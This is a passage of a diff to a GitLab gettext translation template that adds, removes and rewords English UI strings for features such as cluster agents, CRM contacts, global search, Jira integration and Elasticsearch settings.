-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
